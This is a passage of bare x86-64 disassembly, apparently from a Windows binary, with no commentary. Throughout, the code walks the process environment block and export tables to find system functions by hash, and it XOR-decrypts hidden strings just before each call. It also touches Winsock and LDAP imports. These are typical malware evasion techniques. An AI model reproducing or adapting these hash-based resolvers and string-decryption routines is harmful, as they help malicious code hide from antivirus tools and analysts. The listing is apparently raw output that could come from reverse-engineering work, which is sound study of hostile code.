mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
xor eax, eax
mov byte [rsp + 0x48], al
lea rdx, [rbp + 0x200]
lea rcx, [rsp + 0x48]
call fcn.140018fb0
mov rsi, rax
cmp byte [rax + 0x17], 0
je 0x1400039a5
cmp r12d, 2
jl 0x14000395d
mov edx, r15d
movdqa xmmword [rbp + 0x100], xmm10
mov rcx, rax
mov r8d, dword [rbp + 0x100]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140003870
jmp 0x1400039a5
mov r9, rsi
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140003970
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003a36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003a36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x79f97b58
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003a31
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003a10
cmp r8d, 0x4c3a4ceb
je 0x140003a3b
test r9d, r9d
jne 0x1400039f0
mov rax, qword [rax]
jmp 0x1400039c0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003ae6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003ae6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x104c6fed
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003ae1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003ac0
cmp r8d, 0x14c0f5d0
je 0x140003aeb
test r9d, r9d
jne 0x140003aa0
mov rax, qword [rax]
jmp 0x140003a70
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov ecx, 0xbb8
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003b96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003b96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x7f494d13
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003b91
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003b70
cmp r8d, 0x989f6a43
je 0x140003b9b
test r9d, r9d
jne 0x140003b50
mov rax, qword [rax]
jmp 0x140003b20
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
movzx ebx, byte [rsp + 0x48]
movzx edi, byte [rsp + 0x48]
movzx esi, byte [rsp + 0x48]
movzx r14d, byte [rsp + 0x48]
movzx r13d, byte [rsp + 0x48]
movzx r15d, byte [rsp + 0x48]
movzx r12d, byte [rsp + 0x48]
nop dword [rax]
call fcn.140002470
movups xmm0, xmmword [str.kUXWXJ]
movups xmmword [rbp + 0x23f0], xmm0
movups xmm1, xmmword [0x140092420]
movups xmmword [rbp + 0x2400], xmm1
movups xmm0, xmmword [0x140092430]
movups xmmword [rbp + 0x2410], xmm0
movups xmm1, xmmword [0x140092440]
movups xmmword [rbp + 0x2420], xmm1
movsd xmm0, qword [0x140092450]
movsd qword [rbp + 0x2430], xmm0
mov eax, dword [0x140092458]
mov dword [rbp + 0x2438], eax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140003d54
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x23f4]
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x48
jl 0x140003c61
cmp r8d, 0x4c
jge 0x140003da5
movsxd rax, r8d
lea r9, [rbp + 0x23f0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x4c
jl 0x140003d70
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x140003e3b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140003e3b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0x8453e24e
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003e31
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140003e10
cmp r8d, 0xde15d6f2
je 0x140003e40
test r9d, r9d
mov rdx, qword [rsp + 0x38]
jne 0x140003df0
mov rax, qword [rax]
jmp 0x140003dc0
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x23f0]
call rdx
mov rax, qword [str.ZUWSO]
mov qword [rbp + 0xa0], rax
cmp byte [0x140092b4f], 0
je 0x140003fb5
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140003f6c
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa0]
xorps xmm2, xmm1
movd dword [rbp + 0xa0], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa4]
xorps xmm2, xmm1
movd dword [rbp + 0xa4], xmm2
jmp 0x140003fb5
lea r9, [rbp + 0xa0]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140003f80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x14000404b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000404b
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rdx
nop
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0xd50e862
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004041
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004020
cmp r8d, 0x9fb702cb
je 0x140004050
test r9d, r9d
mov rdx, qword [rsp + 0x38]
jne 0x140004000
mov rax, qword [rax]
jmp 0x140003fd0
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xa0]
call rdx
mov eax, dword [str.ZVH_]
mov dword [rbp - 0x64], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x140004135
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400040f5
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x64], xmm1
jmp 0x140004135
lea r9, [rbp - 0x64]
xor r8d, r8d
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140004100
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x1400041cb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x1400041cb
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x65df4d65
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400041c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400041a0
cmp r8d, 0x2d62b83c
je 0x1400041d0
test r9d, r9d
mov rcx, qword [rsp + 0x38]
jne 0x140004180
mov rax, qword [rax]
jmp 0x140004150
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp - 0x64]
call rdx
movups xmm0, xmmword [0x140092cc8]
movups xmmword [rbp + 0x1458], xmm0
movups xmm1, xmmword [0x140092cd8]
movups xmmword [rbp + 0x1468], xmm1
movsd xmm0, qword [0x140092ce8]
movsd qword [rbp + 0x1478], xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14000433d
xor edx, edx
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x145c]
mov r8d, dword [rbp + 0x100]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140004250
jmp 0x140004385
lea r9, [rbp + 0x1458]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140004350
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x14000441b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000441b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xd2d98f53
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004411
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400043f0
cmp r8d, 0xba78045c
je 0x140004420
test r9d, r9d
mov rcx, qword [rsp + 0x38]
jne 0x1400043d0
mov rax, qword [rax]
jmp 0x1400043a0
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1458]
call rdx
movups xmm0, xmmword [0x1400928b8]
movups xmmword [rbp + 0x1d70], xmm0
movups xmm1, xmmword [0x1400928c8]
movups xmmword [rbp + 0x1d80], xmm1
movsd xmm0, qword [0x1400928d8]
movsd qword [rbp + 0x1d90], xmm0
mov eax, dword [0x1400928e0]
mov dword [rbp + 0x1d98], eax
movzx eax, word [0x1400928e4]
mov word [rbp + 0x1d9c], ax
movzx eax, byte [0x1400928e6]
mov byte [rbp + 0x1d9e], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400045b3
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x1d74]
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400044c0
cmp r8d, 0x2f
jge 0x1400045f5
movsxd rax, r8d
lea r9, [rbp + 0x1d70]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x1400045c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x14000468b
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x14000468b
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x81969f0d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004681
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004660
cmp r8d, 0xd33729b2
je 0x140004690
test r9d, r9d
mov rcx, qword [rsp + 0x38]
jne 0x140004640
mov rax, qword [rax]
jmp 0x140004610
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x1d70]
call rdx
movups xmm0, xmmword [0x140092cf0]
movups xmmword [rbp + 0x2350], xmm0
movups xmm1, xmmword [0x140092d00]
movups xmmword [rbp + 0x2360], xmm1
movups xmm0, xmmword [0x140092d10]
movups xmmword [rbp + 0x2370], xmm0
movups xmm1, xmmword [0x140092d20]
movups xmmword [rbp + 0x2380], xmm1
movsd xmm0, qword [0x140092d30]
movsd qword [rbp + 0x2390], xmm0
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140004810
xor edx, edx
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x2354]
mov r8d, dword [rbp + 0x100]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x48
jl 0x140004723
jmp 0x140004855
lea r9, [rbp + 0x2350]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x48
jl 0x140004820
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x30], rcx
cmp rcx, r10
je 0x1400048eb
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x1400048eb
mov ecx, dword [rcx + 0x20]
mov qword [rsp + 0x38], rcx
nop
dec r9d
lea rcx, [rcx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xdd9834f0
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400048e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400048c0
cmp r8d, 0x8a9e6463
je 0x1400048f0
test r9d, r9d
mov rcx, qword [rsp + 0x38]
jne 0x1400048a0
mov rax, qword [rax]
jmp 0x140004870
mov rax, qword [rsp + 0x30]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x2350]
call rdx
movups xmm0, xmmword [0x140092e40]
movups xmmword [rbp + 0x23a0], xmm0
movups xmm1, xmmword [0x140092e50]
movups xmmword [rbp + 0x23b0], xmm1
movups xmm0, xmmword [0x140092e60]
movups xmmword [rbp + 0x23c0], xmm0
movups xmm1, xmmword [0x140092e70]
movups xmmword [rbp + 0x23d0], xmm1
movsd xmm0, qword [0x140092e80]
movsd qword [rbp + 0x23e0], xmm0
movzx eax, word [0x140092e88]
mov word [rbp + 0x23e8], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140004a93
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x23a4]
mov edx, dword [rbp + 0x100]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
